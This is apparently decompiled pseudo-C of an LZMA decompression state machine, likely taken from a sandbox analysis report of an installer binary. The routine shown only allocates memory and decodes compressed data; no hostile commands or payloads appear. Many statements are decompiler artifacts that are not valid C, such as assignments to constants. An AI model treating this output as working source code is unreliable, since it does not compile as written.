                                                                                                        											asm("cdq");
                                                                                                        											_t604 = _t540 % _t571 & 0x000000ff;
                                                                                                        											 *(_t613 - 0x3c) = _t604;
                                                                                                        											 *(_t613 - 0x1c) = (1 << _t609) - 1;
                                                                                                        											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
                                                                                                        											_t612 = (0x300 << _t604 + _t609) + 0x736;
                                                                                                        											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
                                                                                                        												L10:
                                                                                                        												if(_t612 == 0) {
                                                                                                        													L12:
                                                                                                        													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
                                                                                                        													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                                                                        													goto L15;
                                                                                                        												} else {
                                                                                                        													goto L11;
                                                                                                        												}
                                                                                                        												do {
                                                                                                        													L11:
                                                                                                        													_t612 = _t612 - 1;
                                                                                                        													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
                                                                                                        												} while (_t612 != 0);
                                                                                                        												goto L12;
                                                                                                        											}
                                                                                                        											if( *(_t613 - 4) != 0) {
                                                                                                        												GlobalFree( *(_t613 - 4));
                                                                                                        											}
                                                                                                        											_t534 = GlobalAlloc(0x40, 0x600); // executed
                                                                                                        											 *(_t613 - 4) = _t534;
                                                                                                        											if(_t534 == 0) {
                                                                                                        												goto L171;
                                                                                                        											} else {
                                                                                                        												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
                                                                                                        												goto L10;
                                                                                                        											}
                                                                                                        										case 1:
                                                                                                        											L13:
                                                                                                        											__eflags =  *(_t613 - 0x6c);
                                                                                                        											if( *(_t613 - 0x6c) == 0) {
                                                                                                        												 *(_t613 - 0x88) = 1;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                                        											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
                                                                                                        											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                                                                        											_t45 = _t613 - 0x48;
                                                                                                        											 *_t45 =  *(_t613 - 0x48) + 1;
                                                                                                        											__eflags =  *_t45;
                                                                                                        											L15:
                                                                                                        											if( *(_t613 - 0x48) < 4) {
                                                                                                        												goto L13;
                                                                                                        											}
                                                                                                        											_t546 =  *(_t613 - 0x40);
                                                                                                        											if(_t546 ==  *(_t613 - 0x74)) {
                                                                                                        												L20:
                                                                                                        												 *(_t613 - 0x48) = 5;
                                                                                                        												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
                                                                                                        												goto L23;
                                                                                                        											}
                                                                                                        											 *(_t613 - 0x74) = _t546;
                                                                                                        											if( *(_t613 - 8) != 0) {
                                                                                                        												GlobalFree( *(_t613 - 8));
                                                                                                        											}
                                                                                                        											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
                                                                                                        											 *(_t613 - 8) = _t534;
                                                                                                        											if(_t534 == 0) {
                                                                                                        												goto L171;
                                                                                                        											} else {
                                                                                                        												goto L20;
                                                                                                        											}
                                                                                                        										case 2:
                                                                                                        											L24:
                                                                                                        											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
                                                                                                        											 *(_t613 - 0x84) = 6;
                                                                                                        											 *(_t613 - 0x4c) = _t553;
                                                                                                        											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
                                                                                                        											 *(_t613 - 0x54) = _t606;
                                                                                                        											goto L133;
                                                                                                        										case 3:
                                                                                                        											L21:
                                                                                                        											__eflags =  *(_t613 - 0x6c);
                                                                                                        											if( *(_t613 - 0x6c) == 0) {
                                                                                                        												 *(_t613 - 0x88) = 3;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                                        											_t67 = _t613 - 0x70;
                                                                                                        											 *_t67 =  &(( *(_t613 - 0x70))[1]);
                                                                                                        											__eflags =  *_t67;
                                                                                                        											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                                                                                        											L23:
                                                                                                        											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
                                                                                                        											if( *(_t613 - 0x48) != 0) {
                                                                                                        												goto L21;
                                                                                                        											}
                                                                                                        											goto L24;
                                                                                                        										case 4:
                                                                                                        											L133:
                                                                                                        											_t531 =  *_t606;
                                                                                                        											_t589 = _t531 & 0x0000ffff;
                                                                                                        											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                                                                                        											if( *(_t613 - 0xc) >= _t565) {
                                                                                                        												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                                                                                        												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                                                                                        												 *(_t613 - 0x40) = 1;
                                                                                                        												_t532 = _t531 - (_t531 >> 5);
                                                                                                        												 *_t606 = _t532;
                                                                                                        											} else {
                                                                                                        												 *(_t613 - 0x10) = _t565;
                                                                                                        												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                                                                        												 *_t606 = (0x800 - _t589 >> 5) + _t531;
                                                                                                        											}
                                                                                                        											if( *(_t613 - 0x10) >= 0x1000000) {
                                                                                                        												goto L139;
                                                                                                        											}
                                                                                                        										case 5:
                                                                                                        											goto L137;
                                                                                                        										case 6:
                                                                                                        											__edx = 0;
                                                                                                        											__eflags =  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x40) != 0) {
                                                                                                        												__eax =  *(__ebp - 4);
                                                                                                        												__ecx =  *(__ebp - 0x38);
                                                                                                        												 *(__ebp - 0x34) = 1;
                                                                                                        												 *(__ebp - 0x84) = 7;
                                                                                                        												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                                                                                        												while(1) {
                                                                                                        													 *(_t613 - 0x54) = _t606;
                                                                                                        													goto L133;
                                                                                                        												}
                                                                                                        											}
                                                                                                        											__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                                                                        											__esi =  *(__ebp - 0x60);
                                                                                                        											__cl = 8;
                                                                                                        											__cl = 8 -  *(__ebp - 0x3c);
                                                                                                        											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                                                                        											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                                                                        											__ecx =  *(__ebp - 0x3c);
                                                                                                        											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                                                                        											__ecx =  *(__ebp - 4);
                                                                                                        											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                                                                        											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                                                                        											__eflags =  *(__ebp - 0x38) - 4;
                                                                                                        											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                                        											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                                        											if( *(__ebp - 0x38) >= 4) {
                                                                                                        												__eflags =  *(__ebp - 0x38) - 0xa;
                                                                                                        												if( *(__ebp - 0x38) >= 0xa) {
                                                                                                        													_t98 = __ebp - 0x38;
                                                                                                        													 *_t98 =  *(__ebp - 0x38) - 6;
                                                                                                        													__eflags =  *_t98;
                                                                                                        												} else {
                                                                                                        													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                                                                        												}
                                                                                                        											} else {
                                                                                                        												 *(__ebp - 0x38) = 0;
                                                                                                        											}
                                                                                                        											__eflags =  *(__ebp - 0x34) - __edx;
                                                                                                        											if( *(__ebp - 0x34) == __edx) {
                                                                                                        												__ebx = 0;
                                                                                                        												__ebx = 1;
                                                                                                        												goto L61;
                                                                                                        											} else {
                                                                                                        												__eax =  *(__ebp - 0x14);
                                                                                                        												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                                        												__eflags = __eax -  *(__ebp - 0x74);
                                                                                                        												if(__eax >=  *(__ebp - 0x74)) {
                                                                                                        													__eax = __eax +  *(__ebp - 0x74);
                                                                                                        													__eflags = __eax;
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 8);
                                                                                                        												__ebx = 0;
                                                                                                        												__ebx = 1;
                                                                                                        												__al =  *((intOrPtr*)(__eax + __ecx));
                                                                                                        												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                                                                        												goto L41;
                                                                                                        											}
                                                                                                        										case 7:
                                                                                                        											__eflags =  *(__ebp - 0x40) - 1;
                                                                                                        											if( *(__ebp - 0x40) != 1) {
                                                                                                        												__eax =  *(__ebp - 0x24);
                                                                                                        												 *(__ebp - 0x80) = 0x16;
                                                                                                        												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                                        												__eax =  *(__ebp - 0x28);
                                                                                                        												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                                        												__eax =  *(__ebp - 0x2c);
                                                                                                        												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                                        												__eax = 0;
                                                                                                        												__eflags =  *(__ebp - 0x38) - 7;
                                                                                                        												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                                        												__al = __al & 0x000000fd;
                                                                                                        												__eax = (__eflags >= 0) - 1 + 0xa;
                                                                                                        												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                                                                                        												__eax =  *(__ebp - 4);
                                                                                                        												__eax =  *(__ebp - 4) + 0x664;
                                                                                                        												__eflags = __eax;
                                                                                                        												 *(__ebp - 0x58) = __eax;
                                                                                                        												goto L69;
                                                                                                        											}
                                                                                                        											__eax =  *(__ebp - 4);
                                                                                                        											__ecx =  *(__ebp - 0x38);
                                                                                                        											 *(__ebp - 0x84) = 8;
                                                                                                        											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                                                                                        											while(1) {
                                                                                                        												 *(_t613 - 0x54) = _t606;
                                                                                                        												goto L133;
                                                                                                        											}
                                                                                                        										case 8:
                                                                                                        											goto L0;
                                                                                                        										case 9:
                                                                                                        											__eflags =  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x40) != 0) {
                                                                                                        												goto L89;
                                                                                                        											}
                                                                                                        											__eflags =  *(__ebp - 0x60);
                                                                                                        											if( *(__ebp - 0x60) == 0) {
                                                                                                        												goto L171;
                                                                                                        											}
                                                                                                        											__eax = 0;
                                                                                                        											__eflags =  *(__ebp - 0x38) - 7;
                                                                                                        											_t258 =  *(__ebp - 0x38) - 7 >= 0;
                                                                                                        											__eflags = _t258;
                                                                                                        											0 | _t258 = _t258 + _t258 + 9;
                                                                                                        											 *(__ebp - 0x38) = _t258 + _t258 + 9;
                                                                                                        											goto L75;
                                                                                                        										case 0xa:
                                                                                                        											__eflags =  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x40) != 0) {
                                                                                                        												__eax =  *(__ebp - 4);
                                                                                                        												__ecx =  *(__ebp - 0x38);
                                                                                                        												 *(__ebp - 0x84) = 0xb;
                                                                                                        												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                                                                                        												while(1) {
                                                                                                        													 *(_t613 - 0x54) = _t606;
                                                                                                        													goto L133;
                                                                                                        												}
                                                                                                        											}
                                                                                                        											__eax =  *(__ebp - 0x28);
                                                                                                        											goto L88;
                                                                                                        										case 0xb:
                                                                                                        											__eflags =  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x40) != 0) {
                                                                                                        												__ecx =  *(__ebp - 0x24);
                                                                                                        												__eax =  *(__ebp - 0x20);
                                                                                                        												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                                        											} else {
                                                                                                        												__eax =  *(__ebp - 0x24);
                                                                                                        											}
                                                                                                        											__ecx =  *(__ebp - 0x28);
                                                                                                        											 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                                        											L88:
                                                                                                        											__ecx =  *(__ebp - 0x2c);
                                                                                                        											 *(__ebp - 0x2c) = __eax;
                                                                                                        											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                                        											L89:
                                                                                                        											__eax =  *(__ebp - 4);
                                                                                                        											 *(__ebp - 0x80) = 0x15;
                                                                                                        											__eax =  *(__ebp - 4) + 0xa68;
                                                                                                        											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                                                                                        											goto L69;
                                                                                                        										case 0xc:
                                                                                                        											L99:
                                                                                                        											__eflags =  *(__ebp - 0x6c);
                                                                                                        											if( *(__ebp - 0x6c) == 0) {
                                                                                                        												 *(__ebp - 0x88) = 0xc;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											__ecx =  *(__ebp - 0x70);
                                                                                                        											__eax =  *(__ebp - 0xc);
                                                                                                        											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											_t334 = __ebp - 0x70;
                                                                                                        											 *_t334 =  *(__ebp - 0x70) + 1;
                                                                                                        											__eflags =  *_t334;
                                                                                                        											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											__eax =  *(__ebp - 0x2c);
                                                                                                        											goto L101;
                                                                                                        										case 0xd:
                                                                                                        											L37:
                                                                                                        											__eflags =  *(__ebp - 0x6c);
                                                                                                        											if( *(__ebp - 0x6c) == 0) {
                                                                                                        												 *(__ebp - 0x88) = 0xd;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											__ecx =  *(__ebp - 0x70);
                                                                                                        											__eax =  *(__ebp - 0xc);
                                                                                                        											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											_t122 = __ebp - 0x70;
                                                                                                        											 *_t122 =  *(__ebp - 0x70) + 1;
                                                                                                        											__eflags =  *_t122;
                                                                                                        											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											L39:
                                                                                                        											__eax =  *(__ebp - 0x40);
                                                                                                        											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                                                                        												goto L48;
                                                                                                        											}
                                                                                                        											__eflags = __ebx - 0x100;
                                                                                                        											if(__ebx >= 0x100) {
                                                                                                        												goto L54;
                                                                                                        											}
                                                                                                        											L41:
                                                                                                        											__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                                                                        											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                                                                        											__ecx =  *(__ebp - 0x58);
                                                                                                        											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                                                                        											 *(__ebp - 0x48) = __eax;
                                                                                                        											__eax = __eax + 1;
                                                                                                        											__eax = __eax << 8;
                                                                                                        											__eax = __eax + __ebx;
                                                                                                        											__esi =  *(__ebp - 0x58) + __eax * 2;
                                                                                                        											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                                        											__ax =  *__esi;
                                                                                                        											 *(__ebp - 0x54) = __esi;
                                                                                                        											__edx = __ax & 0x0000ffff;
                                                                                                        											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                                                                        											__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        											if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        												__cx = __ax;
                                                                                                        												 *(__ebp - 0x40) = 1;
                                                                                                        												__cx = __ax >> 5;
                                                                                                        												__eflags = __eax;
                                                                                                        												__ebx = __ebx + __ebx + 1;
                                                                                                        												 *__esi = __ax;
                                                                                                        											} else {
                                                                                                        												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                                                                        												 *(__ebp - 0x10) = __ecx;
                                                                                                        												0x800 = 0x800 - __edx;
                                                                                                        												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                                                                        												__ebx = __ebx + __ebx;
                                                                                                        												 *__esi = __cx;
                                                                                                        											}
                                                                                                        											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        											 *(__ebp - 0x44) = __ebx;
                                                                                                        											if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        												goto L39;
                                                                                                        											} else {
                                                                                                        												goto L37;
                                                                                                        											}
                                                                                                        										case 0xe:
                                                                                                        											L46:
                                                                                                        											__eflags =  *(__ebp - 0x6c);
                                                                                                        											if( *(__ebp - 0x6c) == 0) {
                                                                                                        												 *(__ebp - 0x88) = 0xe;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											__ecx =  *(__ebp - 0x70);
                                                                                                        											__eax =  *(__ebp - 0xc);
                                                                                                        											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											_t156 = __ebp - 0x70;
                                                                                                        											 *_t156 =  *(__ebp - 0x70) + 1;
                                                                                                        											__eflags =  *_t156;
                                                                                                        											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											while(1) {
                                                                                                        												L48:
                                                                                                        												__eflags = __ebx - 0x100;
                                                                                                        												if(__ebx >= 0x100) {
                                                                                                        													break;
                                                                                                        												}
                                                                                                        												__eax =  *(__ebp - 0x58);
                                                                                                        												__edx = __ebx + __ebx;
                                                                                                        												__ecx =  *(__ebp - 0x10);
                                                                                                        												__esi = __edx + __eax;
                                                                                                        												__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                                        												__ax =  *__esi;
                                                                                                        												 *(__ebp - 0x54) = __esi;
                                                                                                        												__edi = __ax & 0x0000ffff;
                                                                                                        												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                                        												__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        												if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        													__cx = __ax;
                                                                                                        													_t170 = __edx + 1; // 0x1
                                                                                                        													__ebx = _t170;
                                                                                                        													__cx = __ax >> 5;
                                                                                                        													__eflags = __eax;
                                                                                                        													 *__esi = __ax;
                                                                                                        												} else {
                                                                                                        													 *(__ebp - 0x10) = __ecx;
                                                                                                        													0x800 = 0x800 - __edi;
                                                                                                        													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        													__ebx = __ebx + __ebx;
                                                                                                        													 *__esi = __cx;
                                                                                                        												}
                                                                                                        												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        												 *(__ebp - 0x44) = __ebx;
                                                                                                        												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        													continue;
                                                                                                        												} else {
                                                                                                        													goto L46;
                                                                                                        												}
                                                                                                        											}
                                                                                                        											L54:
                                                                                                        											_t173 = __ebp - 0x34;
                                                                                                        											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                                                                                        											__eflags =  *_t173;
                                                                                                        											goto L55;
                                                                                                        										case 0xf:
                                                                                                        											L58:
                                                                                                        											__eflags =  *(__ebp - 0x6c);
                                                                                                        											if( *(__ebp - 0x6c) == 0) {
                                                                                                        												 *(__ebp - 0x88) = 0xf;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											__ecx =  *(__ebp - 0x70);
                                                                                                        											__eax =  *(__ebp - 0xc);
                                                                                                        											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											_t203 = __ebp - 0x70;
                                                                                                        											 *_t203 =  *(__ebp - 0x70) + 1;
                                                                                                        											__eflags =  *_t203;
                                                                                                        											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											L60:
                                                                                                        											__eflags = __ebx - 0x100;
                                                                                                        											if(__ebx >= 0x100) {
                                                                                                        												L55:
                                                                                                        												__al =  *(__ebp - 0x44);
                                                                                                        												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                                                                        												goto L56;
                                                                                                        											}
                                                                                                        											L61:
                                                                                                        											__eax =  *(__ebp - 0x58);
                                                                                                        											__edx = __ebx + __ebx;
                                                                                                        											__ecx =  *(__ebp - 0x10);
                                                                                                        											__esi = __edx + __eax;
                                                                                                        											__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                                        											__ax =  *__esi;
                                                                                                        											 *(__ebp - 0x54) = __esi;
                                                                                                        											__edi = __ax & 0x0000ffff;
                                                                                                        											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                                        											__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        											if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        												__cx = __ax;
                                                                                                        												_t217 = __edx + 1; // 0x1
                                                                                                        												__ebx = _t217;
                                                                                                        												__cx = __ax >> 5;
                                                                                                        												__eflags = __eax;
                                                                                                        												 *__esi = __ax;
                                                                                                        											} else {
                                                                                                        												 *(__ebp - 0x10) = __ecx;
                                                                                                        												0x800 = 0x800 - __edi;
                                                                                                        												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        												__ebx = __ebx + __ebx;
                                                                                                        												 *__esi = __cx;
                                                                                                        											}
                                                                                                        											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        											 *(__ebp - 0x44) = __ebx;
                                                                                                        											if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        												goto L60;
                                                                                                        											} else {
                                                                                                        												goto L58;
                                                                                                        											}
                                                                                                        										case 0x10:
                                                                                                        											L109:
                                                                                                        											__eflags =  *(__ebp - 0x6c);
                                                                                                        											if( *(__ebp - 0x6c) == 0) {
                                                                                                        												 *(__ebp - 0x88) = 0x10;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											__ecx =  *(__ebp - 0x70);
                                                                                                        											__eax =  *(__ebp - 0xc);
                                                                                                        											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											_t365 = __ebp - 0x70;
                                                                                                        											 *_t365 =  *(__ebp - 0x70) + 1;
                                                                                                        											__eflags =  *_t365;
                                                                                                        											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											goto L111;
                                                                                                        										case 0x11:
                                                                                                        											L69:
                                                                                                        											__esi =  *(__ebp - 0x58);
                                                                                                        											 *(__ebp - 0x84) = 0x12;
                                                                                                        											while(1) {
                                                                                                        												 *(_t613 - 0x54) = _t606;
                                                                                                        												goto L133;
                                                                                                        											}
                                                                                                        										case 0x12:
                                                                                                        											__eflags =  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x40) != 0) {
                                                                                                        												__eax =  *(__ebp - 0x58);
                                                                                                        												 *(__ebp - 0x84) = 0x13;
                                                                                                        												__esi =  *(__ebp - 0x58) + 2;
                                                                                                        												while(1) {
                                                                                                        													 *(_t613 - 0x54) = _t606;
                                                                                                        													goto L133;
                                                                                                        												}
                                                                                                        											}
                                                                                                        											__eax =  *(__ebp - 0x4c);
                                                                                                        											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                                                                        											__ecx =  *(__ebp - 0x58);
                                                                                                        											__eax =  *(__ebp - 0x4c) << 4;
                                                                                                        											__eflags = __eax;
                                                                                                        											__eax =  *(__ebp - 0x58) + __eax + 4;
                                                                                                        											goto L130;
                                                                                                        										case 0x13:
                                                                                                        											__eflags =  *(__ebp - 0x40);
                                                                                                        											if( *(__ebp - 0x40) != 0) {
                                                                                                        												_t469 = __ebp - 0x58;
                                                                                                        												 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                                                                        												__eflags =  *_t469;
                                                                                                        												 *(__ebp - 0x30) = 0x10;
                                                                                                        												 *(__ebp - 0x40) = 8;
                                                                                                        												L144:
                                                                                                        												 *(__ebp - 0x7c) = 0x14;
                                                                                                        												goto L145;
                                                                                                        											}
                                                                                                        											__eax =  *(__ebp - 0x4c);
                                                                                                        											__ecx =  *(__ebp - 0x58);
                                                                                                        											__eax =  *(__ebp - 0x4c) << 4;
                                                                                                        											 *(__ebp - 0x30) = 8;
                                                                                                        											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                                                                        											L130:
                                                                                                        											 *(__ebp - 0x58) = __eax;
                                                                                                        											 *(__ebp - 0x40) = 3;
                                                                                                        											goto L144;
                                                                                                        										case 0x14:
                                                                                                        											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                                                                        											__eax =  *(__ebp - 0x80);
                                                                                                        											 *(_t613 - 0x88) = _t533;
                                                                                                        											goto L1;
                                                                                                        										case 0x15:
                                                                                                        											__eax = 0;
                                                                                                        											__eflags =  *(__ebp - 0x38) - 7;
                                                                                                        											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                                        											__al = __al & 0x000000fd;
                                                                                                        											__eax = (__eflags >= 0) - 1 + 0xb;
                                                                                                        											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                                                                        											goto L120;
                                                                                                        										case 0x16:
                                                                                                        											__eax =  *(__ebp - 0x30);
                                                                                                        											__eflags = __eax - 4;
                                                                                                        											if(__eax >= 4) {
                                                                                                        												_push(3);
                                                                                                        												_pop(__eax);
                                                                                                        											}
                                                                                                        											__ecx =  *(__ebp - 4);
                                                                                                        											 *(__ebp - 0x40) = 6;
                                                                                                        											__eax = __eax << 7;
                                                                                                        											 *(__ebp - 0x7c) = 0x19;
                                                                                                        											 *(__ebp - 0x58) = __eax;
                                                                                                        											goto L145;
                                                                                                        										case 0x17:
                                                                                                        											L145:
                                                                                                        											__eax =  *(__ebp - 0x40);
                                                                                                        											 *(__ebp - 0x50) = 1;
                                                                                                        											 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                                                                                        											goto L149;
                                                                                                        										case 0x18:
                                                                                                        											L146:
                                                                                                        											__eflags =  *(__ebp - 0x6c);
                                                                                                        											if( *(__ebp - 0x6c) == 0) {
                                                                                                        												 *(__ebp - 0x88) = 0x18;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											__ecx =  *(__ebp - 0x70);
                                                                                                        											__eax =  *(__ebp - 0xc);
                                                                                                        											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
